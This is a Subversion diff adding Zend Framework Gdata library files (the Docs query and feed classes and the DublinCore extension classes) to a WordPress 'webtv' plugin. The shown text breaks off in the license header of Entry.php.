Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs/DocumentListFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs/DocumentListFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs/DocumentListFeed.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Docs
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+
+/**
+ * Data model for a Google Documents List feed of documents
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Docs
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Docs_DocumentListFeed extends Zend_Gdata_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Docs_DocumentListEntry';
+
+    /**
+     * The classname for the feed.
+     *
+     * @var string
+     */
+    protected $_feedClassName = 'Zend_Gdata_Docs_DocumentListFeed';
+
+    /**
+     * Create a new instance of a feed for a list of documents.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Docs::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs/Query.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs/Query.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs/Query.php	(revision 44)
@@ -0,0 +1,221 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Docs
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Assists in constructing queries for Google Document List documents
+ *
+ * @link http://code.google.com/apis/gdata/spreadsheets/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Docs
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Docs_Query extends Zend_Gdata_Query
+{
+
+    /**
+     * The base URL for retrieving a document list
+     *
+     * @var string
+     */
+    const DOCUMENTS_LIST_FEED_URI = 'http://docs.google.com/feeds/documents';
+
+    /**
+     * The generic base URL used by some inherited methods
+     *
+     * @var string
+     */
+    protected $_defaultFeedUri = self::DOCUMENTS_LIST_FEED_URI;
+
+    /**
+     * The visibility to be used when querying for the feed. A request for a 
+     * feed with private visbility requires the user to be authenricated. 
+     * Private is the only avilable visibility for the documents list.
+     *
+     * @var string
+     */
+    protected $_visibility = 'private';
+
+    /**
+     * The projection determines how much detail should be given in the
+     * result of the query. Full is the only valid projection for the
+     * documents list.
+     *
+     * @var string
+     */
+    protected $_projection = 'full';
+
+    /**
+     * Constructs a new instance of a Zend_Gdata_Docs_Query object.
+     */
+    public function __construct()
+    {
+        parent::__construct();
+    }
+
+    /**
+     * Sets the projection for this query. Common values for projection 
+     * include 'full'.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Docs_Query Provides a fluent interface
+     */
+    public function setProjection($value)
+    {
+        $this->_projection = $value;
+        return $this;
+    }
+
+    /**
+     * Sets the visibility for this query. Common values for visibility
+     * include 'private'.
+     *
+     * @return Zend_Gdata_Docs_Query Provides a fluent interface
+     */
+    public function setVisibility($value)
+    {
+        $this->_visibility = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the projection for this query.
+     *
+     * @return string projection
+     */
+    public function getProjection()
+    {
+        return $this->_projection;
+    }
+
+    /**
+     * Gets the visibility for this query.
+     *
+     * @return string visibility
+     */
+    public function getVisibility()
+    {
+        return $this->_visibility;
+    }
+
+    /**
+     * Sets the title attribute for this query. The title parameter is used
+     * to restrict the results to documents whose titles either contain or 
+     * completely match the title.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Docs_Query Provides a fluent interface
+     */
+    public function setTitle($value)
+    {
+        if ($value !== null) {
+            $this->_params['title'] = $value;
+        } else {
+            unset($this->_params['title']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the title attribute for this query.
+     *
+     * @return string title
+     */
+    public function getTitle()
+    {
+        if (array_key_exists('title', $this->_params)) {
+            return $this->_params['title'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Sets the title-exact attribute for this query.
+     * If title-exact is set to true, the title query parameter will be used
+     * in an exact match. Only documents with a title identical to the
+     * title parameter will be returned.
+     *
+     * @param boolean $value Use either true or false
+     * @return Zend_Gdata_Docs_Query Provides a fluent interface
+     */
+    public function setTitleExact($value)
+    {
+        if ($value) {
+            $this->_params['title-exact'] = $value;
+        } else {
+            unset($this->_params['title-exact']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the title-exact attribute for this query.
+     *
+     * @return string title-exact
+     */
+    public function getTitleExact()
+    {
+        if (array_key_exists('title-exact', $this->_params)) {
+            return $this->_params['title-exact'];
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Gets the full query URL for this query.
+     *
+     * @return string url
+     */
+    public function getQueryUrl()
+    {
+        $uri = $this->_defaultFeedUri;
+
+        if ($this->_visibility !== null) {
+            $uri .= '/' . $this->_visibility;
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception(
+                'A visibility must be provided for cell queries.');
+        }
+
+        if ($this->_projection !== null) {
+            $uri .= '/' . $this->_projection;
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception(
+                'A projection must be provided for cell queries.');
+        }
+
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore.php	(revision 44)
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * Service class for interacting with the services which use the
+ * DublinCore extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore extends Zend_Gdata
+{
+
+    /**
+     * Namespaces used for Zend_Gdata_DublinCore
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('dc', 'http://purl.org/dc/terms', 1, 0)
+    );
+
+    /**
+     * Create Zend_Gdata_DublinCore object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google servers.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_DublinCore');
+        $this->registerPackage('Zend_Gdata_DublinCore_Extension');
+        parent::__construct($client, $applicationId);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Creator.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Creator.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Creator.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Entity primarily responsible for making the resource
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore_Extension_Creator extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'dc';
+    protected $_rootElement = 'creator';
+
+    /**
+     * Constructor for Zend_Gdata_DublinCore_Extension_Creator which
+     * Entity primarily responsible for making the resource
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_DublinCore::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Date.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Date.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Date.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Point or period of time associated with an event in the lifecycle of the
+ * resource
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore_Extension_Date extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'dc';
+    protected $_rootElement = 'date';
+
+    /**
+     * Constructor for Zend_Gdata_DublinCore_Extension_Date which
+     * Point or period of time associated with an event in the lifecycle of the
+     * resource
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_DublinCore::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Description.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Description.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Description.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Account of the resource
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore_Extension_Description extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'dc';
+    protected $_rootElement = 'description';
+
+    /**
+     * Constructor for Zend_Gdata_DublinCore_Extension_Description which
+     * Account of the resource
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_DublinCore::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Format.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Format.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Format.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * File format, physical medium, or dimensions of the resource
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore_Extension_Format extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'dc';
+    protected $_rootElement = 'format';
+
+    /**
+     * Constructor for Zend_Gdata_DublinCore_Extension_Format which
+     * File format, physical medium, or dimensions of the resource
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_DublinCore::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Identifier.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Identifier.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Identifier.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * An unambiguous reference to the resource within a given context
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore_Extension_Identifier extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'dc';
+    protected $_rootElement = 'identifier';
+
+    /**
+     * Constructor for Zend_Gdata_DublinCore_Extension_Identifier which
+     * An unambiguous reference to the resource within a given context
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_DublinCore::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Language.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Language.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Language.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Language of the resource
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore_Extension_Language extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'dc';
+    protected $_rootElement = 'language';
+
+    /**
+     * Constructor for Zend_Gdata_DublinCore_Extension_Language which
+     * Language of the resource
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_DublinCore::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Publisher.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Publisher.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Publisher.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Entity responsible for making the resource available
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore_Extension_Publisher extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'dc';
+    protected $_rootElement = 'publisher';
+
+    /**
+     * Constructor for Zend_Gdata_DublinCore_Extension_Publisher which
+     * Entity responsible for making the resource available
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_DublinCore::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Rights.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Rights.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Rights.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Information about rights held in and over the resource
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore_Extension_Rights extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'dc';
+    protected $_rootElement = 'rights';
+
+    /**
+     * Constructor for Zend_Gdata_DublinCore_Extension_Rights which
+     * Information about rights held in and over the resource
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_DublinCore::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Subject.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Subject.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Subject.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Topic of the resource
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore_Extension_Subject extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'dc';
+    protected $_rootElement = 'subject';
+
+    /**
+     * Constructor for Zend_Gdata_DublinCore_Extension_Subject which
+     * Topic of the resource
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_DublinCore::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Title.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Title.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/DublinCore/Extension/Title.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Name given to the resource
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage DublinCore
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_DublinCore_Extension_Title extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'dc';
+    protected $_rootElement = 'title';
+
+    /**
+     * Constructor for Zend_Gdata_DublinCore_Extension_Title which
+     * Name given to the resource
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_DublinCore::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Entry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Entry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Entry.php	(revision 44)
@@ -0,0 +1,131 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
